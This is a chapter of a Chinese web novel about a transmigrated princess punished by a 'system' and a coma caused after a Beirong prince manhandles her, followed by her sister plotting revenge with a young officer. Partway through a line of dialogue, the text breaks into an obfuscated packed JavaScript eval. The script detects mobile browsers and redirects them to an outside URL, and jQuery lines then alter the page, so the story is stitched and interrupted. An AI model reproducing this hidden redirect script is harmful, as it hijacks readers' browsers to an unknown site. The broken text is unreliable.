但这种一点一点的惩罚,反而比那种尖锐而突兀的痛楚更严重。
楼月一时也不知那种更能接受了,她觉得这样也不错,好歹自己现下还能忍住,她不能晕倒在露天席地之中。她好歹得回到自己的帐篷里再说。
她勉强用最后一点力气支撑自己上了马,翻墨是匹聪明的马,它认识路,楼月尽管没有多少力气催促它了,但它脚步哒哒地就往营帐的方向走去。
楼月攥着马缰绳,深深呼吸,尽量不去管脑海中系统不断重复的警告声。
【警告:检测到宿主未按照原身西楼公主人设进行剧情。】
“吵死了。”楼月在脑海中回道。
她也不知自己骑了多久,只觉得眼前越来越发黑,呼吸越来越沉重,而那种灵魂被剥离的痛楚,越来越强烈。
“见过七王子殿下。”
跟着她的侍女忽然齐声行礼,楼月的意识被短暂地从痛楚中被唤回来,她才发现自己竟与北戎的七王子碰了个当面。
七王子面色不佳,“西楼公主好大的脸面,见到本王,竟装作视而不见。”
七王子怒,这个西楼公主,真是好张狂,在北戎,还没有人敢对他视而不见的。
楼月勉强抬眼,她眼前愈发黑了,吃力地望去,视野好像变窄了,只能看到七王子一张脸晃来晃去。晃得她更难受了。
她说不出话来。
七王子却觉得她在忽视自己,愈发恼怒起来,驱马上来,“你知不知道本王为何点名要与你联姻?”
“因为你打了本王几鞭子,娶你到手,到时候本王要把那些鞭子尽数还给你!在我们北戎,驯马可是要狠狠制服马儿的,再暴躁的烈马,被驯服过后,也不敢对主人发脾气。我很期待,这么桀骜的公主,被我驯服后,会是多么温顺听话的模样。”
“……本王……王妃……鞭子……驯马……”但楼月已听不清话了,只能捕捉到几个词语,根本不懂他是什么意思。
七王子这话一出,却见黑色骏马上的美丽公主面色苍白,他没有怜惜之意,反而觉得兴奋。
哈,西楼公主害怕了,这就害怕了?他还没亲自动手折磨呢。若是被她知道自己怎么对帐中那些女子的,她会不会吓得哭天喊地、跪地求饶?
跪地求饶?嗯,让一个楼国尊贵的公主跪地求饶,在他身前磕成千上百个头,似乎挺有趣。
美丽的公主面色苍白,相比那不逊的模样,反倒让那美丽更添脆弱。
七王子见西楼公主今日一言不发,明显害怕了,于是更加变本加厉,他的马儿靠近了楼月的马儿,他则伸手过来想拉楼月的胳膊,欲将她拉到自己的马上。
楼月厌恶这个人,见他来拉自己,抬手就挡,却一下扇到了七王子的脸上。
虽动作并不大、并不疼,因她这会儿本也没有多少力气,但羞辱性却极强,七王子骤然大怒,一把扯过楼月的胳膊,几乎要将她胳膊扯断,“好哇,好犟的脾气!”
“公主!公主!”跟随的侍女见西楼公主竟被北戎七王子如此对待,忙想过来帮忙。
下一瞬,却见原本安坐在黑色马儿上的西楼公主,忽然像失了意识一样,被七王子那么粗鲁地一扯,她竟直接从马背上被扯了过去,然后身子一歪,直直地从马上跌了下来。
“公主!”侍女大惊,连忙冲过去跪在地上看西楼公主。
却见公主面色煞白,脸上冷汗涔涔,眉头紧紧皱起,好像正在承受极大的痛苦。
七王子见状,瞬间慌张起来,他看着跌落在地晕倒的楼月,指着她道:“你……本王没有动你,你装什么死?”
口头上羞辱西楼公主,与实际上逼死一国公主,这是天差地别的区别。七王子虽只知享乐,但这还是懂的。
楼月感觉到自己失去了对身体的掌控。她想睁开眼,却做不到;想动动手,还是做不到。她的灵魂被剥离出来,这过程痛苦万分,但她生生挨住了。
系统死板的声音响起:【警告:因宿主违背系统要求,将施以惩罚。】
……
已经过了五天了。
云心公主从楼月的帐中出来,面带忧色、闷闷不乐,好像没头苍蝇一样乱走。
五天前,西楼公主忽然坠马昏迷,太医们长久地诊脉,却没有一个定论。
最后经过商讨,小心翼翼地对父王道:“公主的身体并无异常,呼吸平缓,脉象平稳,不像是有疾病的样子。”
“太医院从未遇到这种情况。觉得这倒像是……像是失魂之症。”
失魂之症,那不是杂记话本里才有的病症吗,说一个人忽然昏迷不醒,其实是魂魄离体,然后去哪里的仙山、哪里的天际遨游一番,去观神仙下棋、看天女摘星,等灵魂再回来时,却天上一日、地上一年,人间已是几百年过去了,沧海桑田。
云心无聊时也会抱着杂记来读,对这种志怪故事熟悉得很。
云心不知道自己胡乱走到了哪里,再回过神时,却见自己已出了辕门,四下都是旷野,而她只觉得心中哀恸。
要是姐姐醒不来怎么办?
她找了一棵树,靠着坐下来,开始呜呜哀泣。
谢寒巡逻归来,欲回营时,见到的就是这个场景。着粉带黄的少女正将脸埋在膝上低声哀泣。
下属军士也被吸引了过来,欲围观,却被谢寒推开,“去,赶紧回营去。那是云心公主,乱看什么呢,也不怕国君治罪。”
驱赶了军士,谢寒迟疑片刻,走了过去。
云心听到声音抬起脸,见是那个白袍银甲、曾帮过姐姐的小将谢寒。
她胡乱抹了抹眼泪,见谢寒还在看自己,不由得怒斥道:“大胆小子,谁让你看本宫的!”
这么失态的样子被人看到了,真是有失公主仪态。
谢寒挑眉看她,一只小小花猫,张牙舞爪,这么大的脾气。
他走上前来,抱臂道:“我看尊贵公主,竟独自哭泣,真是人间奇景,怎能不让我驻足多看几眼?”
云心见他言语并不尊敬,愈发恼怒起来,更加怒视他,可眼眶中的眼泪却又滚滚而下。
谢寒见状,收了调侃心思,蹲在她身边,“你哭什么?什么事能让一个公主
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235117|166047||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这么难过?哦,是不是因为西楼公主昏迷一事?”
云心瞧他一眼,显然没料到这个小将也知道此事。
论理他是不该知道的,父王考虑到如今两国会猎,西楼公主与七王子已定下联姻大事,却忽然冒出这种事来,万一损害了两国合作怎么办?
于是国君命令封锁消息,不许外传。
谢寒作为一员小将,本该不知道的,但他与王将军关系匪浅,自然从王将军那里听说了的。
想起那个英姿飒爽的西楼公主,谢寒也觉得可惜。
他问:“我听说是失魂之症,这又是什么病症?”
云心见谢寒问,她难得找人倾诉,憋在心中的话倒豆子般说了出来,“太医把脉说姐姐身体无灾无病,很是健康,却只是不醒。像是古医书里说的失魂之症。“
“我才不信!那天我们去断崖赏夕阳,姐姐还好好的,怎么会忽然得失魂之症。我听侍女说那天姐姐回程路上,被七王子缠上了,他对姐姐动手动脚,姐姐忽然跌下马昏迷了。”
云心愤愤不已,“一定是七王子的错!”
谢寒对七王子也没有好感,或者说,他作为代北谢氏的后代,对北戎都没有好感。他道:“如此大事,国君难道没有处罚七王子吗?”
云心一下子丧气了,“我请求父王惩罚七王子,父王却说我什么都不懂,让我不要乱说话。”
她说着,忽然想起什么,盯着谢寒,“你武艺高超,是吧?”
谢寒不知她要做什么,犹疑点头,“我自幼习武,不算辱没了门庭。”
云心便道:“那你去帮我教训七王子一顿,怎么样!”
谢寒:……
“不怎么样!”他断然否定,“我不过一个小将,那是北戎七王子,我教训他一顿。那我还能活吗?”
云心却像是抓住了救命稻草,忙道:“你把他套上麻袋,他就不知道是你打的了。”
谢寒还是拒绝。
云心公主当这是玩耍取乐呢,真是天真。七王子身边一堆人跟着,他神不知鬼不觉去揍他一顿?开玩笑吧。
这种麻烦事,他干嘛要去做。
但云心却只是看着他,少女黑曜石般的眸子被泪洗过,亮晶晶地,让他竟一时说不出拒绝的话。
他最后含混道:“那你先让七王子落单再说。”
本以为云心会就此罢休,谁知她真的开始认真思考起来如何让七王子落单。想到七王子贪恋美色,还曾言语调戏过她,她便想到了一个法子——或许她能单独约七王子出来。
于是云心重重点头,对谢寒道:“好,我若有办法让七王子落单,你就套上麻袋打他一顿,也让他重伤昏迷、好多天都下不来床。”
“今天晚上,等我通知!”
谢寒迟疑看她,却见她粉面桃腮犹挂泪珠,神色却偏又十分郑重,他觉得自己好像在参与一场认真的儿戏。
这个云心公主,真是不谙世事,天真地可笑。又可爱。
罢了,就当过家家哄公主开心了。
谢寒随意一摊手,“行,等你通知。”